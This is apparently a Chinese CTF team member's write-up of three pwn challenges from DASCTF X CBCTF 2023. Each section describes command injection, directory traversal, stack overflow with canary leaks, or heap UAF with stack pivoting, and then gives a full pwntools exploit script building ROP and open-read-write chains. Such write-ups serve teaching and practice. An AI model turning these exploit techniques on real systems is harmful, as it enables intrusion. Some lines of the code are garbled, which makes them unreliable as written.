DASCTF X CBCTF 2023|The fearless go first

Foreword

The author did not participate in this competition. Since the team will reproduce this competition later, I will record the reproduction here.

EASYBOX

Test point: Command execution? + stack overflow

The attachment provides a docker environment, which can be reproduced directly locally, but I don’t know how to debug docker. Fortunately, I don’t need to debug this problem.

The program does not open PIE, but has system and sh strings. Then write canary into the /secret/canary.txt file at the beginning.

Vulnerability analysis

Vulnerability 1:

The input character check in the pingCommand function is not strict enough, resulting in command injection: for example, we can write content to the /tmp/result.txt file through 0; echo “data”.

This environment does not seem to have commands such as tac/less/more, and cat is filtered, so it seems that there is no way to directly read the file content. It should also be noted that sprintf will be truncated by \x00, but this does not matter, you can base to remove \x00.

Vulnerability 2:

First of all, there is directory traversal, which is also caused by the lax inspection of the input file name. Then the overflow vulnerability at the back is obvious. In fact, everyone who has written programs knows that when reading files, they usually malloc a corresponding space according to the file size. And here if the file size is greater than 72, it will cause stack overflow.

Vulnerability Exploitation

1. First use the CAT function to read the canary through directory traversal

2. Then use the PING function to write the rop chain into the result.txt file.

3. Finally, use the CAT function to read result.txt, causing stack overflow.

exp is as follows:

from pwn import *
import base64
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
io = remote("127.0.0.1", 9999)
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m[" + s + " -> " + str(hex(n)) + "]\033[0m")
sh = lambda : io.interactive()
menu = b''

pop_rdi = 0x0000000000401ce3 # pop rdi; ret
sh_addr = 0x0000000000402090
system = 0x00000000004018B2


sla(b'name: ', b'XiaozaYa')
sla(b'$ ', b'CAT')
sla(b'view: ', b'../../secret/canary.txt')
canary = int(rl(), 16)
info("canary", canary)

rop = b'A'*72 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(sh_addr) + p64(system)
rop = base64.b64encode(rop)
pay = b'0;echo "' + rop + b'" | base64 -d'
print(hex(len(pay)), ":", pay)

sla(b'$ ', b'PING')
sla(b'address: ', pay)
sla(b'$ ', b'CAT')
sla(b'view: ', b'result.txt')

#debug()
sh()

The effect is as follows:

GuestBook

Test point: stack overflow

PIE is not enabled, there is a backdoor, there is a stack overflow, there is actually nothing much to say.

The read overflows into the canary, so the last byte of the canary can be directly modified and then leaked out of the canary. The latter stack overflows for free, strcpy has \x00 truncation, so canary can be written in two times. Then just jump to the back door.

exp is as follows:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m[" + s + " -> " + str(hex(n)) + "]\033[0m")
sh = lambda : io.interactive()
menu = b''

sda(b'name: ', b'A'*23 + b'X' + b'Y')
rut(b'X')
canary = addr8(8) - ord('Y')
rbp = addr8(6)
info("canary", canary)
info("rbp", rbp)

sla(b'): ', b'2')

pay = b'A'*(0xA0 - 8) + p64(canary + ord('A')) + b'AAAAAAAAA' + b'\xc3\x12\x40'
sl(pay)

sleep(0.01)
pay = b'A'*(0xA0 - 8 - 0x20)
sl(pay)
#debug()
sh()

The effect is as follows:

Binding

Test point: Stack overflow. This question is wrapped in a heap. It is actually a stack migration and orw question.

The topic implements a menu stack. Here I will only talk about the loopholes:

Vulnerability 1:

The vulnerability is mainly in the edit function. First of all, it is a stack overflow, but it only overflows 0x10 bytes, so if you want to take advantage of it, you basically need to migrate the stack.

Then there is a fatal vulnerability, which feels very baffling. add will apply for two heap blocks, and its structure is like this:

That is to say, edit first modifies the pointer above 0x100 every time, and then writes according to the pointer. Then isn’t this a free 8-byte address to write to? But note that there is *ptr = (unsigned __int8*)*ptr here, which means that only one byte can be written later.

Vulnerability 2:

Without setting the pointer to null, UAF can be used to leak libc_base/heap_base. Since calloc is used here, it is difficult to type double free directly because the question limits the size of the heap block to between [0x100, 0x200], so it will not fall into fastbin.

Use ideas:

1. UAF leak libc_base/heap_base

2. Arbitrarily write and modify stack_guard in the tcbhead_t structure to bypass canary protection.

3. Migrate the stack to the heap and type orw

exp is as follows:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m[" + s + " -> " + str(hex(n)) + "]\033[0m")
sh = lambda : io.interactive()
menu = b'Your choice:'
def add(idx, size, data, flag=True):
        sla(menu, b'1')
        sla(b'Idx:', byte(idx))
        sla(b'Size:', byte(size))
        if flag:
                sda(b'Content:', data)
        else:
                sla(b'Content:', data)

def edit(idx, data0, data1, flag=True):
        sla(menu, b'2')
        if flag:
                sda(b'Idx:', byte(idx))
        else:
                sda(b'Idx:', idx)
        sda(b'context1: ', data0)
        sda(b'context2: ', data1)

def show(idx, cmd=0):
        sla(menu, b'3')
        sla(b'Your choice:', byte(cmd))
        sla(b'Idx:', byte(idx))

def dele(idx):
        sla(menu, b'4')
        sla(b'Idx:', byte(idx))

for i in range(6):
        add(i, 256, b'A\\
')

for i in range(1, 5):
        dele(i)


show(2, 0)
rut(b': ')
heap_base = addr8(6) - 0x5d0
info("heap_base", heap_base)
show(4, 1)
rut(b': ')
libc_base = addr8(6) - 0x1ecbe0
libc.address = libc_base
TLS_canary = libc_base + 0x1f3568
info("libc_base", libc_base)
info("TLS_canary", TLS_canary)

pop_rdi = libc_base + 0x0000000000023b6a # pop rdi; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret

orw = p64(pop_rdi) + p64(heap_base + 0xcd8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(libc.sym.open)
orw + = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
orw + = p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
orw + = b'./flag\x00\x00'
info("orw len", len(orw))
add(7, 256, orw)

pay = b'0'.ljust(0x28, b'\x00') + b'A\x00\x00\x00\x00\x00\x00\x00' + p64(heap_base + 0xc28) + p64(leave_ret)
edit(pay, p64(TLS_canary), b'AAAAAAAAA', False)
#debug()
sh()

The effect is as follows: